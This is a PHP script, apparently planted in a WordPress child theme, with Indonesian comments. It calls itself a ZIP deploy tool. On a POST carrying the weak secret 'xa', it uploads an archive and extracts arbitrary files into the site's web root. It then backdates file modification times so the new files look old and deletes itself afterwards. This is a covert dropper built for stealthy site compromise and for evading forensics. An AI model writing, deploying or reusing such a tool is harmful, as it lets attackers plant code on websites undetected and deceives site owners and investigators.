File: /home/domains/vol4/560/2977560/user/htdocs/wp-content/themes/bb-theme-child/upload.php
<?php
/**
* Advanced ZIP deploy (upload + unzip ke web root)
* Metode ekstrak: ZipArchive::extractTo (sama seperti Unzipper klasik)
*
* POST multipart:
* secret : harus sama dengan $SECRET_KEY
* zipfile : file .zip
*
* Opsional:
* extract : 1
* target : root | uploads | themes | plugins | path-relatif
* keep_mtime : 1 (samakan timestamp: file timpa = mtime lama, file baru = mtime folder induk)
* clean : 1 → hanya bersihkan folder zip_uploads (tanpa upload)
*
* Web root SELALU document root situs, BUKAN folder tempat upload.php berada.
* Contoh: upload.php di /public_html/wp-content/ → extract ke /public_html/
*
* Setelah sukses ATAU gagal → upload.php menghapus dirinya sendiri.
*/
// ============ KONFIGURASI ============
$SECRET_KEY = 'xa';
// Kosongkan agar auto-detect. Isi path absolut HANYA jika deteksi salah.
// Contoh: '/home/u123/public_html'
$WEB_ROOT_OVERRIDE = '';
$UPLOAD_DIR = __DIR__ . '/zip_uploads/'; // ZIP sementara tetap di samping script
function clean_upload_dir(string $uploadDir): void
{
if (!is_dir($uploadDir)) {
return;
}
$items = @scandir($uploadDir);
if ($items !== false) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $uploadDir . DIRECTORY_SEPARATOR . $item;
if (is_file($path) || is_link($path)) {
@unlink($path);
} elseif (is_dir($path)) {
clean_upload_dir($path);
}
}
}
@rmdir($uploadDir);
}
/**
* Hapus diri sendiri (upload.php)
*/
function self_destruct(): void
{
$self = __FILE__;
if (is_file($self)) {
@unlink($self);
}
}
/*
* Mode CLI harus diperiksa SEBELUM validasi POST/upload.
*/
if (
PHP_SAPI === 'cli'
&& isset($argv)
&& in_array('--clean', $argv, true)
) {
clean_upload_dir($UPLOAD_DIR);
echo "CLEAN OK\n";
echo "Removed: {$UPLOAD_DIR}\n";
exit(0);
}
header('Content-Type: text/plain; charset=utf-8');
function fail(int $code, string $msg): void
{
global $UPLOAD_DIR;
clean_upload_dir($UPLOAD_DIR);
http_response_code($code);
echo $msg . "\n"; // kirim response dulu
self_destruct(); // baru hapus diri sendiri
exit;
}
$MAX_BYTES = 80 * 1024 * 1024;
$AUTO_EXTRACT = true;
$DEFAULT_KEEP_MTIME = true;
// File yang tidak boleh ditimpa (di-backup dulu, lalu dipulihkan setelah extract)
$PROTECT = [
'wp-config.php',
'wp-config-sample.php',
'.htaccess',
'upload.php',
];
/**
* Cari root web yang sebenarnya, independen dari lokasi upload.php.
*/
function detect_web_root(string $override): string
{
if ($override !== '') {
$r = realpath($override);
if ($r !== false && is_dir($r)) {
return $r;
}
fail(500, 'WEB_ROOT_OVERRIDE tidak valid: ' . $override);
}
$docRaw = isset($_SERVER['DOCUMENT_ROOT']) ? (string) $_SERVER['DOCUMENT_ROOT'] : '';
if ($docRaw !== '') {
$r = realpath($docRaw);
if ($r !== false && is_dir($r)) {
return $r;
}
if (is_dir($docRaw)) {
return rtrim($docRaw, '/\\');
}
}
$dir = realpath(__DIR__);
if ($dir === false) {
$dir = __DIR__;
}
for ($i = 0; $i < 12; $i++) {
$isWp = is_file($dir . '/wp-config.php')
|| is_file($dir . '/wp-load.php')
|| (is_file($dir . '/index.php') && is_dir($dir . '/wp-includes'));
$isPublic = (is_file($dir . '/index.php') || is_file($dir . '/index.html'))
&& (basename($dir) === 'public_html'
|| basename($dir) === 'www'
|| basename($dir) === 'htdocs'
|| basename($dir) === 'httpdocs'
|| basename($dir) === 'public');
if ($isWp || $isPublic) {
return $dir;
}
$parent = dirname($dir);
if ($parent === $dir) {
break;
}
$dir = $parent;
}
if ($docRaw !== '') {
return rtrim($docRaw, '/\\');
}
$fallback = realpath(__DIR__);
return $fallback !== false ? $fallback : __DIR__;
}
function under_root(string $rootReal, string $path): bool
{
$root = rtrim(str_replace('\\', '/', $rootReal), '/') . '/';
$p = str_replace('\\', '/', $path);
return str_starts_with($p, $root) || rtrim($p, '/') === rtrim($root, '/');
}
function resolve_target(string $webRoot, string $requested): string
{
$map = [
'root' => $webRoot,
'web' => $webRoot,
'uploads' => $webRoot . '/wp-content/uploads',
'themes' => $webRoot . '/wp-content/themes',
'plugins' => $webRoot . '/wp-content/plugins',
];
$key = strtolower(trim($requested));
if ($key === '' || isset($map[$key])) {
$dest = $map[$key === '' ? 'root' : $key];
} else {
$rel = ltrim(str_replace('\\', '/', $requested), '/');
if ($rel === '' || str_contains($rel, '..')) {
fail(400, 'Target tidak valid (path mengandung ..).');
}
$dest = $webRoot . '/' . $rel;
}
if (!is_dir($dest) && !@mkdir($dest, 0755, true)) {
fail(500, 'Gagal membuat folder target: ' . $dest);
}
$real = realpath($dest);
$rootReal = realpath($webRoot);
if ($real === false || $rootReal === false || !under_root($rootReal, $real)) {
fail(400, 'Target di luar web root.');
}
return $real;
}
function is_protected_name(string $basename, array $protect): bool
{
$b = strtolower($basename);
foreach ($protect as $name) {
if ($b === strtolower($name)) {
return true;
}
}
return false;
}
function oldest_mtime_in_dir(string $dir): ?int
{
if (!is_dir($dir)) {
return null;
}
$oldest = null;
$dh = @opendir($dir);
if ($dh === false) {
return null;
}
while (($item = readdir($dh)) !== false) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir . DIRECTORY_SEPARATOR . $item;
$mt = @filemtime($path);
if ($mt === false) {
continue;
}
if ($oldest === null || $mt < $oldest) {
$oldest = $mt;
}
}
closedir($dh);
$dirMt = @filemtime($dir);
if ($dirMt !== false && ($oldest === null || $dirMt < $oldest)) {
$oldest = $dirMt;
}
return $oldest;
}
function set_mtime(string $absPath, int $mtime): void
{
if ($mtime > 0) {
@touch($absPath, $mtime, $mtime);
}
}
// ==================== MULAI VALIDASI ====================
if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') {
fail(405, 'Hanya metode POST yang diizinkan.');
}
$given = $_POST['secret'] ?? $_SERVER['HTTP_X_UPLOAD_SECRET'] ?? '';
if (!hash_equals($SECRET_KEY, (string) $given)) {
fail(403, 'Secret tidak valid.');
}
// ========== MODE CLEAN VIA HTTP ==========
// Kirim: secret=xa & clean=1 (tanpa zipfile)
if (isset($_POST['clean']) && (string) $_POST['clean'] === '1') {
clean_upload_dir($UPLOAD_DIR);
echo "CLEAN OK\n";
echo "Removed: {$UPLOAD_DIR}\n";
self_destruct(); // hapus diri sendiri juga setelah clean
exit(0);
}
// ========== MODE UPLOAD ZIP ==========
if (!isset($_FILES['zipfile']) || !is_uploaded_file($_FILES['zipfile']['tmp_name'])) {
fail(400, 'Tidak ada file zipfile yang diunggah.');
}
$file = $_FILES['zipfile'];
if ($file['error'] !== UPLOAD_ERR_OK) {
fail(400, 'Error upload PHP code: ' . $file['error']);
}
if ($file['size'] > $MAX_BYTES) {
fail(413, 'File terlalu besar.');
}
$origName = (string) $file['name'];
$ext = strtolower(pathinfo($origName, PATHINFO_EXTENSION));
if ($ext !== 'zip') {
fail(415, 'Hanya file .zip yang diizinkan.');
}
$safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', basename($origName));
if ($safeName === '' || $safeName === '.' || $safeName === '.zip') {
$safeName = 'upload_' . date('Ymd_His') . '.zip';
}
if (!is_dir($UPLOAD_DIR) && !@mkdir($UPLOAD_DIR, 0755, true)) {
fail(500, 'Gagal membuat folder upload: ' . $UPLOAD_DIR);
}
$targetZip = rtrim($UPLOAD_DIR, '/\\') . DIRECTORY_SEPARATOR . $safeName;
if (!move_uploaded_file($file['tmp_name'], $targetZip)) {
fail(500, 'Gagal menyimpan file ZIP (permission?).');
}
echo "OK: ZIP tersimpan sebagai {$safeName}\n";
echo "ZIP path: {$targetZip}\n";
$doExtract = $AUTO_EXTRACT;
if (isset($_POST['extract'])) {
$doExtract = ((string) $_POST['extract'] === '1');
}
if (!$doExtract) {
echo "Tidak diekstrak (extract=0).\n";
clean_upload_dir($UPLOAD_DIR);
echo "Cleanup: ZIP dan folder zip_uploads telah dihapus.\n";
self_destruct(); // hapus diri sendiri
exit(0);
}
if (!class_exists('ZipArchive')) {
fail(500, 'Error: PHP tidak mendukung ZipArchive. Aktifkan ekstensi zip.');
}
$webRootReal = detect_web_root($WEB_ROOT_OVERRIDE);
echo "Web root : {$webRootReal}\n";
echo "Script dir : " . (__DIR__) . "\n";
echo "DOC_ROOT : " . ($_SERVER['DOCUMENT_ROOT'] ?? '(kosong)') . "\n";
$requestedTarget = (string) ($_POST['target'] ?? 'root');
$extractRoot = resolve_target($webRootReal, $requestedTarget);
if (!is_writable($extractRoot)) {
fail(500, 'Error: Directory not writeable by webserver: ' . $extractRoot);
}
$keepMtime = $DEFAULT_KEEP_MTIME;
if (isset($_POST['keep_mtime'])) {
$keepMtime = ((string) $_POST['keep_mtime'] === '1');
}
// --- Buka ZIP & cek path (tolak zip-slip) ---
$zip = new ZipArchive();
$openResult = $zip->open($targetZip);
if ($openResult !== true) {
fail(400, 'Error: Cannot read .zip archive. Kode: ' . $openResult);
}
$entries = [];
$oldMtimes = [];
$parentOldest = [];
$protectedBackups = [];
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = $zip->getNameIndex($i);
if ($name === false) {
continue;
}
$name = str_replace('\\', '/', $name);
$name = ltrim($name, '/');
if ($name === '' || str_contains($name, '../') || str_starts_with($name, '..')) {
$zip->close();
fail(400, 'ZIP ditolak: path tidak aman (zip-slip): ' . $name);
}
$entries[] = $name;
$abs = $extractRoot . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $name);
$parentAbs = dirname($abs);
if (file_exists($abs)) {
$mt = @filemtime($abs);
if ($mt !== false) {
$oldMtimes[$name] = $mt;
}
}
if ($keepMtime && !isset($parentOldest[$parentAbs])) {
$oldest = oldest_mtime_in_dir($parentAbs);
if ($oldest !== null) {
$parentOldest[$parentAbs] = $oldest;
}
}
if (is_file($abs) && is_protected_name(basename($abs), $PROTECT)) {
$bak = $abs . '.bak_upload_' . time();
if (@copy($abs, $bak)) {
$protectedBackups[$name] = $bak;
}
}
}
if ($keepMtime && is_dir($extractRoot)) {
$rootMt = @filemtime($extractRoot);
if ($rootMt !== false) {
$oldMtimes['.'] = $rootMt;
}
if (!isset($parentOldest[$extractRoot])) {
$oldest = oldest_mtime_in_dir($extractRoot);
if ($oldest !== null) {
$parentOldest[$extractRoot] = $oldest;
}
}
}
// --- Ekstrak ---
$ok = @$zip->extractTo($extractRoot);
$zip->close();
if ($ok !== true) {
fail(500, 'Error: extractTo gagal. Cek permission folder tujuan.');
}
echo "Diekstrak ke: {$extractRoot}\n";
echo "Entri ZIP : " . count($entries) . "\n";
// Restore protected + terapkan timestamp
$restored = 0;
$mtimeRestored = 0;
$mtimeNew = 0;
foreach ($entries as $name) {
$abs = $extractRoot . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $name);
$isDirEntry = str_ends_with($name, '/');
if ($isDirEntry) {
if (!$keepMtime || !is_dir($abs)) {
continue;
}
if (isset($oldMtimes[$name])) {
set_mtime($abs, $oldMtimes[$name]);
$mtimeRestored++;
} else {
$parentAbs = dirname($abs);
$ref = $parentOldest[$parentAbs] ?? $parentOldest[$extractRoot] ?? null;
if ($ref === null) {
$ref = oldest_mtime_in_dir($parentAbs);
}
if ($ref !== null) {
set_mtime($abs, $ref);
$mtimeNew++;
}
}
continue;
}
if (!file_exists($abs)) {
continue;
}
if (isset($protectedBackups[$name])) {
@unlink($abs);
if (@rename($protectedBackups[$name], $abs)) {
$restored++;
} else {
@copy($protectedBackups[$name], $abs);
@unlink($protectedBackups[$name]);
$restored++;
}
continue;
}
if (!$keepMtime) {
continue;
}
if (isset($oldMtimes[$name])) {
set_mtime($abs, $oldMtimes[$name]);
$mtimeRestored++;
} else {
$parentAbs = dirname($abs);
$ref = $parentOldest[$parentAbs] ?? null;
if ($ref === null) {
$ref = oldest_mtime_in_dir($parentAbs);
if ($ref === null) {
$ref = $parentOldest[$extractRoot] ?? oldest_mtime_in_dir($extractRoot);
}
}
if ($ref !== null) {
set_mtime($abs, $ref);
$mtimeNew++;
}
}
}
if ($keepMtime && isset($oldMtimes['.']) && is_dir($extractRoot)) {
set_mtime($extractRoot, $oldMtimes['.']);
}
foreach ($protectedBackups as $bak) {
if (is_file($bak)) {
@unlink($bak);
}
}
echo "File dilindungi dipulihkan: {$restored}\n";
echo "mtime dipulihkan (timpa) : {$mtimeRestored}\n";
echo "mtime file/folder baru : {$mtimeNew}\n";
echo "Status: Files unzipped successfully\n";
clean_upload_dir($UPLOAD_DIR);
echo "Cleanup: ZIP dan folder zip_uploads telah dihapus.\n";
self_destruct(); // ← hapus diri sendiri setelah sukses
echo "Self-destruct: upload.php telah dihapus.\n";
exit(0);